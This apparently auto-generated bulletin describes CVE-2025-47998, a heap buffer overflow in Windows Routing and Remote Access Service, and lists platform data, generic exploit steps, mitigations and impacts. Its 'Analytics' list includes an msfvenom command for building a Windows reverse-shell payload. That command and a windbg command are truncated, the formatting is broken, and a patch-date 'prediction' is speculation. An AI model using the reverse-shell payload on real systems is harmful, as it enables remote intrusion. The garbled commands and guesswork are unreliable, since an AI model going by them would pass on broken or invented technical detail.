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How the CVE Works
CVE-2025-47998 is a heap-based buffer overflow vulnerability in Windows Routing and Remote Access Service (RRAS). The flaw occurs when processing specially crafted network packets, leading to improper memory allocation. An attacker can exploit this by sending malicious data to an exposed RRAS instance, corrupting heap memory and potentially executing arbitrary code with SYSTEM privileges. The vulnerability resides in the improper validation of packet sizes during remote connection handling, allowing an overflow that overwrites critical heap structures.
DailyCVE Form
Platform: Windows RRAS
Version: Windows Server 2019/2022
Vulnerability: Heap buffer overflow
Severity: Critical
Date: 07/15/2025
Prediction: Patch expected by 08/05/2025
What Undercode Say
Analytics:
– `windbg !heap -p -a
`– `msfvenom -p windows/x64/shell_reverse_tcp LHOST=
– `sc query RemoteAccess`
How Exploit:
- Craft oversized RPC request packets.
- Trigger heap corruption via malformed routing update.
Protection from this CVE:
- Disable RRAS if unused.
- Apply Microsoft patch upon release.
- Restrict network access to RRAS ports.
Impact:
- Remote code execution (RCE).
- SYSTEM-level compromise.
- Network propagation risk.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
